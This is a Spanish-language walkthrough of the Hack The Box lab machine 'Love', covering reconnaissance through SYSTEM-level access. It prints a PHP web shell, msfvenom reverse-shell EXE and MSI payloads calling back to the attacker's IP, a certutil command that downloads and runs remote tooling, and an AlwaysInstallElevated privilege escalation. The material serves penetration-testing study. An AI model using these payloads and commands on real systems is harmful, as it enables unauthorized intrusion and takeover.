Post

Hack The Box Love

Love

Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.239.

1
2
3
4
5
6
7
8
❯ ping -c 1 10.10.10.239
PING 10.10.10.239 (10.10.10.239) 56(84) bytes of data.
64 bytes from 10.10.10.239: icmp_seq=1 ttl=127 time=172 ms

--- 10.10.10.239 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 171.988/171.988/171.988/0.000 ms

De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Windows. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 09:03 CDT
Initiating SYN Stealth Scan at 09:03          
Scanning 10.10.10.239 [65535 ports]          
Discovered open port 139/tcp on 10.10.10.239  
Discovered open port 3306/tcp on 10.10.10.239 
Discovered open port 443/tcp on 10.10.10.239 
Discovered open port 445/tcp on 10.10.10.239 
Discovered open port 80/tcp on 10.10.10.239  
Discovered open port 135/tcp on 10.10.10.239  
Discovered open port 49670/tcp on 10.10.10.239                                                                                     
Discovered open port 47001/tcp on 10.10.10.239
Discovered open port 49669/tcp on 10.10.10.239
Discovered open port 5985/tcp on 10.10.10.239
Discovered open port 49666/tcp on 10.10.10.239   
Discovered open port 49667/tcp on 10.10.10.239
Discovered open port 7680/tcp on 10.10.10.239                                                                                      
Discovered open port 49664/tcp on 10.10.10.239
Discovered open port 49665/tcp on 10.10.10.239
Discovered open port 5040/tcp on 10.10.10.239
Discovered open port 5986/tcp on 10.10.10.239
Discovered open port 5000/tcp on 10.10.10.239
Discovered open port 49668/tcp on 10.10.10.239
Completed SYN Stealth Scan at 09:03, 19.67s elapsed (65535 total ports)
Nmap scan report for 10.10.10.239           
Host is up, received user-set (0.15s latency).
Scanned at 2021-08-26 09:03:30 CDT for 20s  
Not shown: 64587 closed ports, 929 filtered ports
Reason: 64587 resets and 929 no-responses   
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON         
80/tcp    open  http         syn-ack ttl 127
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
443/tcp   open  https        syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
3306/tcp  open  mysql        syn-ack ttl 127
5000/tcp  open  upnp         syn-ack ttl 127
5040/tcp  open  unknown      syn-ack ttl 127
5985/tcp  open  wsman        syn-ack ttl 127                
5986/tcp  open  wsmans       syn-ack ttl 127                                                                                       
7680/tcp  open  pando-pub    syn-ack ttl 127
47001/tcp open  winrm        syn-ack ttl 127                   
49664/tcp open  unknown      syn-ack ttl 127
49665/tcp open  unknown      syn-ack ttl 127
49666/tcp open  unknown      syn-ack ttl 127
49667/tcp open  unknown      syn-ack ttl 127
49668/tcp open  unknown      syn-ack ttl 127
49669/tcp open  unknown      syn-ack ttl 127
49670/tcp open  unknown      syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.89 seconds
           Raw packets sent: 96913 (4.264MB) | Rcvd: 70595 (2.824MB)

Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.

1
2
3
4
5
6
7
8
9
10
11
❯ extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.239
   5   │     [*] Open ports: 80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670
   6   │ 
   7   │ [*] Ports copied to clipboard

A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
❯ nmap -sC -sV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN 
target                                                           
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-26 09:06 CDT
Nmap scan report for staging.love.htb (10.10.10.239)
Host is up (0.14s latency).                                      
                                                                 
PORT      STATE SERVICE      VERSION              
80/tcp    open  http         Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: Secure file scanner                 
135/tcp   open  msrpc        Microsoft Windows RPC                                                                                 139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
443/tcp   open  ssl/http     Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27     
|_http-title: 403 Forbidden                                                                                                        
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after:  2022-01-18T14:00:16
|_ssl-date: TLS randomness does not represent time                                                                                 
| tls-alpn:         
|_  http/1.1                                                     
445/tcp   open  microsoft-ds Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp  open  mysql? 
| fingerprint-strings:                                           
|   TerminalServerCookie:   
|_    Host '10.10.14.5' is not allowed to connect to this MariaDB server
5000/tcp  open  http         Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
|_http-title: 403 Forbidden   
5040/tcp  open  unknown                                          
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found      
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19                                                                                            
|_Not valid after:  2024-04-10T14:39:19                      
|_ssl-date: 2021-08-26T14:35:17+00:00; +26m10s from scanner time.
| tls-alpn:                                                                                                                        
|_  http/1.1
7680/tcp  open  pando-pub?
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.91%I=7%D=8/26%Time=61279FE0%P=x86_64-pc-linux-gnu%r(Te
SF:rminalServerCookie,49,"E\0\0\x01\xffj\x04Host\x20'10\.10\.14\.5'\x20is\
SF:x20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server");
Service Info: Hosts: www.example.com, LOVE, www.love.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2h11m11s, deviation: 3h30m02s, median: 26m09s 
| smb-os-discovery: 
|   OS: Windows 10 Pro 19042 (Windows 10 Pro 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: Love
|   NetBIOS computer name: LOVE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-08-26T07:35:05-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-08-26T14:35:06
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 180.42 seconds

De acuerdo con el escaneo obtenido de namp se observa el servicio HTTP a través de los puertos 80, 443 y 5000; con el servicio de Apache httpd 2.4.46 (Win64) y teniendo como código de estado 403 en los puertos 443 y 5000. Así mismo, para el puerto 443 se observa que el parámetro commonName está el subdominio staging.love.htb; por lo que lo agregamos a nuestro archivo /etc/hosts/ en caso de que se esté aplicando virtual hosting.

1
2
3
4
5
6
7
# Host addresses
127.0.0.1  localhost
127.0.1.1  kamipc
10.10.10.239    staging.love.htb
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters

Tratamos de acceder al sitio web para visualizar el contenido; primeramente con la dirección IP y posterior con el dominio identificado.

""

Se observa un panel de login donde se requiere un voter’s id y passoword; por lo que podrían probar diferentes digitos en el campo de id para observar la respuesta del sitio obteniendo como respuesta Cannot find voter with the ID. A continuación se utiliza la herramienta wfuzz para descubrir recursos en el servidor.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ wfuzz -c -t 200 --hc=404 --hw=324 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.239/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work corr
ectly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************                                                                           
* Wfuzz 3.1.0 - The Web Fuzzer                         *                                                                           
********************************************************                                                                           

Target: http://10.10.10.239/FUZZ                                                                                                   
Total requests: 220560                                                                                                             
                                                                                                                                   
=====================================================================                                                     
ID           Response   Lines    Word       Chars       Payload                                                            
=====================================================================                                                     
                                                                                                                                   
000000016:   301        9 L      30 W       338 Ch      "images"                                                          
000000203:   301        9 L      30 W       338 Ch      "Images"                                                           
000000259:   301        9 L      30 W       337 Ch      "admin"                                                            
000000638:   301        9 L      30 W       340 Ch      "includes"                                                         
000000519:   301        9 L      30 W       339 Ch      "plugins"                                                          
000000902:   503        11 L     44 W       402 Ch      "examples"                                                        
000001503:   301        9 L      30 W       336 Ch      "dist"                                                             
000001819:   403        11 L     47 W       421 Ch      "licenses"                                                        
000003673:   301        9 L      30 W       338 Ch      "IMAGES"                                                           
000003790:   403        9 L      30 W       302 Ch      "%20"                                                              
000004147:   404        9 L      33 W       299 Ch      "542"                                                              
                                                                 
Total time: 16.39328                                                                                                               
Processed Requests: 4124                                                                                                           
Filtered Requests: 4114    
Requests/sec.: 251.5664

Observamos el recurso /admin en donde solicita un username y password. Ahora accedemos al sitio web http://staging.love.htb/ y observamos el recurso de ** Free File Scanner** y al acceder a Demo, el sitio nos solicita ingresar una dirección URL.

""

""

Es posible que el sitio nos pueda mostrar información de la dirección URL ingresada, por lo que se prueban los recursos con código de estado 403 para los puertos 443 y 5000. Para el puerto 5000 se observan credenciales del usuario admin para cuales procedemos a validar en el panel de login /admin.

""

Hemos logrado acceder al panel de administración como el usuario Neovic Devierte; ahora, validando el sitio, se observa que se trata de un sistema llamado VotingSystem, por lo que buscamos si existe un exploit público mediante searchsploit.

1
2
3
4
5
6
7
8
9
❯ searchsploit voting system
------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                   |  Path
------------------------------------------------------------------------------------------------- ---------------------------------
Online Voting System - Authentication Bypass                                                     | php/webapps/43967.py
Online Voting System Project in PHP - 'username' Persistent Cross-Site Scripting                 | multiple/webapps/49159.txt
Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)                        | php/webapps/49445.py
------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Se observa un recurso que permite la ejecución de código contanto con un usuario autenticado, por lo que descargamos el archivo 49445.py y lo renombramos como voting_system.py.

1
2
3
4
5
6
7
8
9
❯ searchsploit -m php/webapps/49445.py
  Exploit: Voting System 1.0 - File Upload RCE (Authenticated Remote Code Execution)
      URL: https://www.exploit-db.com/exploits/49445
     Path: /usr/share/exploitdb/exploits/php/webapps/49445.py
File Type: ASCII text, with very long lines, with CRLF line terminators

Copied to: /home/kamiyo/Documentos/HTB/Love/exploits/49445.py

> mv 49445.py voting_system.py

Abrimos el archivo y realizamos las modificaciones correspondiente:

  • IP = “10.10.10.239”
  • USERNAME = “admin”
  • PASSWORD = “” # Introducir el password obtenido
  • REV_IP = 10.10.14.5
  • REV_PORT = “443”

Así mismo, para las variables INDEX_PAGE, LOGIN_URL, VOTE_URL y CALL_SHELL, eliminar de la dirección URL la palabra votesystem, teniendo como resultado http://{IP}/admin/. Una vez realizados los cambios, procedemos a ejecutar el archivo y nos ponemos en escucha por el puerto 443:

1
2
3
4
5
❯ python voting_system.py
Start a NC listner on the port you choose above and run...
Logged in
Poc sent successfully

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.239] 58604
b374k shell : connected

Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

whoami
whoami
love\phoebe

C:\xampp\htdocs\omrs\images>

Y ya obtenemos acceso al sistema como el usuario love\phoebe. A continuación se describe otro método para obtener acceso al sistema. Dentro del panel de administración, se observa que podemos actuliazar los datos del peril del usuario Neovic Devierte; así como podemos subir un archivo de cualquier extensión; por lo tanto, se crea un archivo php que nos permita la ejecución de comando a nivel de sistema.

""

""

1
2
3
<?php
        echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"
?>

Subimos el archivo y recordando que con la herramienta wfuzz se obtuvieron otros recursos dentro del sistema; por lo que comprobando, los archivo que podemos subir se guardan en la carpeta /images/; por lo que despues de subir nuestro archivo php, ingresamos a la siguiente ruta y tratamos de ejecutar un comando a nivel de sistema mediante la variable cmd.

http://10.10.10.239/images/shell.php?cmd=whoami

Tenemos ejecución de comandos a nivel de sistema!

Ahora, necesitamos crear un archivo exe que nos permita establecer una reverse shell mediante el uso de la herramienta msfvenom y subimos nuestro archivo reverse.exe al sitio web. En este punto, nos ponemos en escuha por el puerto 443 y ejecutamos nuestro programa.

1
2
3
4
5
❯ msfvenom -a x64 --platform windows -p windows/x64/shell/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o reverse.exe
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: reverse.exe

http://10.10.10.239/images/shell.php?cmd=reverse.exe

1
2
3
4
5
6
7
8
9
10
11
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.239] 58604
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

whoami
whoami
love\phoebe

C:\xampp\htdocs\omrs\images>

A partir de aquí ya podemos visualizar la flag (user.txt) y empezamos la enumeración para escalar privilegios en el sistema. Nos dirigimos al C:\Windows\Temp y nos creamos una carpeta (con cualquier nombre, para este caso la carpeta de llama Privesc). Ingresamos a la carpeta Privesc, en nuestra máquina de atacantes descargamos la utilidad winPEAS y nos compartimos un servidor HTTP a través del puerto 80 mediante el uso de python.

winPEASx64.exe

1
2
❯ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Ahora desde la máquina víctima, descargamos el archivo winPEASx64.exe alojado en nuestro equipo con la utilizada certutil.exe y procedemos a ejecutar el archivo.

1
2
3
4
5
6
7
certutil.exe -f -urlcache -split http://10.10.14.5/winPEASx64.exe winPEASx64.exe
****  Online  ****
  000000  ...
  1b4600
CertUtil: -URLCache command completed successfully.

C:\Windows\Temp\Privesc>

De toda la información arrojada por la aplicación, se observa que AlwaysInstallElevated presenta un valor de 1 en HKLM y HKCU; por lo que podemos instalar un paquete de Windows Installer (archivos msi) con privilegios elevador. Por lo tanto, generamos una reverse shell con la herramienta msfvenom ; incluso, dentro de los resultados de winPEAS nos comparte una liga hacia el sitio hacktricks.xyz en donde nos indican que es lo que tenemos que hacer para elevar privilegios.

1
2
3
4
Checking AlwaysInstallElevated
  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
    AlwaysInstallElevated set to 1 in HKLM!
    AlwaysInstallElevated set to 1 in HKCU!
1
2
3
4
5
6
7
❯ msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o reverse.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of msi file: 159744 bytes
Saved as: reverse.msi

Compartimos el archivo msi hacia la máquina víctima (a través de un servidor con python), nos ponemos en escucha por el puerto 443 y procedemos a su ejecución.

1
2
3
msiexec /quiet /qn /i C:\Windows\Temp\Privesc\reverse.msi

C:\Windows\Temp\Privesc>
1
2
3
4
5
6
7
8
9
10
11
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.239] 51996
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.

whoami
whoami
nt authority\system

C:\Windows\System32>

Ya somos administradores del equipo y podemos visualizar la flag (root.txt).

This post is licensed under CC BY 4.0 by the author.